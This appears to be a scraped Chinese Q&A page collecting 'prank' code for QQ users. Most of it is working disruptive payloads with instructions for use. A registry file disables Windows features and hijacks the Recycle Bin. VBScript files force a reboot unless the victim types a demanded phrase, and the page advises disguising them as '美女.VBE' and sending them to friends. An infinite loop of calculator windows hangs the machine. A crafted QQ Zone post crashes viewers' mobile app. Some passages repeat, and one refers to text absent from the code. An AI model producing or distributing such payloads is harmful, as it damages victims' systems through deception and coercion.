qq整蠱源碼

A. 求一個QQ無毒的惡作劇！！！！！

vbe本身是一種容易加密的東西，不容易查殺，有的別有用心的人就拿它做病毒，有的殺軟太狂暴，就把vbe全殺了……
給你個新的：
源碼：
REGEDIT4

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
"LegalNoticeCaption"="黑客"
"LegalNoticeText"="你被攻擊啦!"

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
"Norun"=dword:1
"NotStartMenuNetwokPlaces"=dword:1
"NoClosc"=dword:1
"Nofind"=1

[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache]
"@C:\WINDOWS\system32\SHELL32.dll,-9216"="sagjghhnf"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}]
""="{4141-1c45-d542}"

把源碼保存的文件後綴改為REG，想解決源碼如下：

REGEDIT4

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
"LegalNoticeCaption"=""
"LegalNoticeText"=""

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
"Norun"=dword:0
"NotStartMenuNetwokPlaces"=dword:0
"NoClosc"=dword:0
"Nofind"=0

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}]
""="回收站"

（自己寫滴哦）

B. 手機QQ的整人代碼大全

第一步，將以下代碼復制到記事本中。
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 30 -c ""快說潮流哥特，不說就30秒關你機，不信，試試···"" ",0 ,true
dim a
do while(a <> "潮流哥特")
a = inputbox ("說潮流哥特,不然就不關機，快撒，說 ""潮流哥特"" ","說不說","不說",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
上面的文字可以隨便改，不印象效果。如果發給MM，你可以逼她說「我愛你」。方法是把上面的「QQ客是好網站」改成「快說我愛你」 內容來自
第二步，將記事本文件重命名為 ***.VBE（文件名可以任意起，如「美女.VBE」）
如果誰運行了這個QQ炸彈，在30秒後會自動關機。
下面說一下使用方法：
最簡單的使用方法是，你直接發給好友，讓他運行，然後他就中招了。
WScript.Echo("誰令你打開這個軟體的")
WScript.Echo("這個軟體會讓你無聊啊！")
WScript.Echo("推薦你來的肯定是個壞蛋！")
WScript.Echo("歡迎來到被整軟體站！")
WScript.Echo("是誰設計的？")
WScript.Echo("Is me")
WScript.Echo("你好，你要點30次確定哦！")
WScript.Echo("1")
WScript.Echo("2")
WScript.Echo("3")
WScript.Echo("begin")

C. 據說騰訊QQ這個軟體是套別人的源碼,是否真的

哪有源碼會給人 沒有 不過QQ是訪人家美國MSN的 看樣子做起來 也就是說偷人家的創意 再加自己的元素進去 不過大體櫃架和原理跟人家相同 你看不是有一個騰訊瀏覽器 它是微軟的 外觀變了 我是做WEB程序的 一輸入顯示瀏覽器信息的程序 顯示出的結果是微軟IE4.0版
不過現在大部份是這樣 即使是微軟它也有效訪人家的 上次這家美國公司看見QQ這么紅 就想告人家 結果好像也不得而終 這東西很難說清楚 你能畫樹 我就不能畫樹了 不過可以肯定的說 QQ這創意是學人家

D. 現在QQ流行的整蠱代碼 網警33652 是什麼搞的

QQ空間最新整人BUG QQ空間說說整人BUG代碼。一個最新的QQ空間BUG，可以讓別人手機看到你的說說以後閃退，並且手機QQ空間進不去！卸載重裝也沒有辦法，只有你本人能解除。大家是不是很想知道，現在小編就來告訴大家怎麼設置。 QQ空間最新整人BUG QQ空間說說整人BUG代碼：整人方法： 1、手機編輯說說格式如下： {uin:數字或,nick數字或文字,who:1} 舉個列子：小編的整人說說 2、發表這個說說 注意：也可以電腦發這個說說 然後別人用手機看到你的說說就會閃退啦，並且再也打不開，她會求你給她解鎖的.... 解除方法： 注意這個方法會使你自己的QQ空間也不能看動態，你要用電腦登陸QQ空間，刪除這條說說！只有這個方法能解除！ 這就是小編跟大家帶來的QQ空間最新整人BUG，QQ空間說說整人BUG代碼。

E. QQ整人軟體（要狠一點的）

1、上八目妖有。2、自製一點擊就出現無數個計算器，直到死機為止。在記事本里輸入，最後把擴展名改成VBS得那種。

Dim objws
Set objws=wscript.createobject("wscript.shell")
Do
objws.Run "calc"
Loop

整人小程序：說我是豬就不關機
程序, 整人
on error resume next

dim WSHshellA

set WSHshellA = wscript.createobject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""快說「我是豬」，不說我是豬就一分鍾關你機，不信，試試···"" ",0 ,true

dim a

do while(a <> "我是豬")

a = inputbox ("說我是豬,就不關機，快撒，說 ""我是豬"" ","說不說","不說",8000,7000)

msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"

loop

msgbox chr(13) + chr(13) + chr(13) + "早說就行了嘛"

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd.exe /c shutdown -a",0 ,true

msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，真過癮"

msgbox chr(13) + chr(13) + chr(13) + "乖孩子真聽話啊"

msgbox chr(13) + chr(13) + chr(13) + "下次叔叔買糖給你吃"

msgbox chr(13) + chr(13) + chr(13) + "要吃什麼糖啊"

msgbox chr(13) + chr(13) + chr(13) + "什麼，大白兔？"

msgbox chr(13) + chr(13) + chr(13) + "不行，不行，大白兔吃了長石頭啊"

msgbox chr(13) + chr(13) + chr(13) + "要不叔叔給你講個故事"

msgbox chr(13) + chr(13) + chr(13) + "從前有個山"

msgbox chr(13) + chr(13) + chr(13) + "山裡有個廟"

msgbox chr(13) + chr(13) + chr(13) + "廟里有個老和尚"

msgbox chr(13) + chr(13) + chr(13) + "老和尚在給小和尚講故事"

msgbox chr(13) + chr(13) + chr(13) + "講什麼故事呢"

msgbox chr(13) + chr(13) + chr(13) + "故事是這樣的"

msgbox chr(13) + chr(13) + chr(13) + "從前有個山"

msgbox chr(13) + chr(13) + chr(13) + "山裡有個廟"

msgbox chr(13) + chr(13) + chr(13) + "廟里有個老和尚"

msgbox chr(13) + chr(13) + chr(13) + "什麼，不聽了"

msgbox chr(13) + chr(13) + chr(13) + "別哭別哭，叔叔給你買糖！"
復制代碼一個整人的小代碼，「說我是豬就不關機」
把上面的代碼復制到記事本里，把後綴名改成.VBE

F. qq空間整人程序

什麼樣的,要是像現在流行的那種到不難
http://www.opopn.com/index.php
整蠱論壇這里有幾個關於QQ空間整人代碼的方法
如果不懂的話去論壇找我,
QQ幣就免了沒興趣.多給點分就OK了

G. 手機qq整人代碼大全誰有 發一下 謝謝

第一步，將以下代碼復制到記事本中。
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 30 -c ""快說潮流哥特，不說就30秒關你機，不信，試試···"" ",0 ,true
dim a
do while(a <> "潮流哥特")
a = inputbox ("說潮流哥特,不然就不關機，快撒，說 ""潮流哥特"" ","說不說","不說",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop

上面的文字可以隨便改，不印象效果。如果發給MM，你可以逼她說「我愛你」。方法是把上面的「QQ客是好網站」改成「快說我愛你」 內容來自
第二步，將記事本文件重命名為 ***.VBE（文件名可以任意起，如「美女.VBE」）
如果誰運行了這個QQ炸彈，在30秒後會自動關機。
下面說一下使用方法：
最簡單的使用方法是，你直接發給好友，讓他運行，然後他就中招了。
WScript.Echo("誰令你打開這個軟體的")
WScript.Echo("這個軟體會讓你無聊啊！")
WScript.Echo("推薦你來的肯定是個壞蛋！")
WScript.Echo("歡迎來到被整軟體站！")
WScript.Echo("是誰設計的？")
WScript.Echo("Is me")
WScript.Echo("你好，你要點30次確定哦！")
WScript.Echo("1")
WScript.Echo("2")
WScript.Echo("3")
WScript.Echo("begin")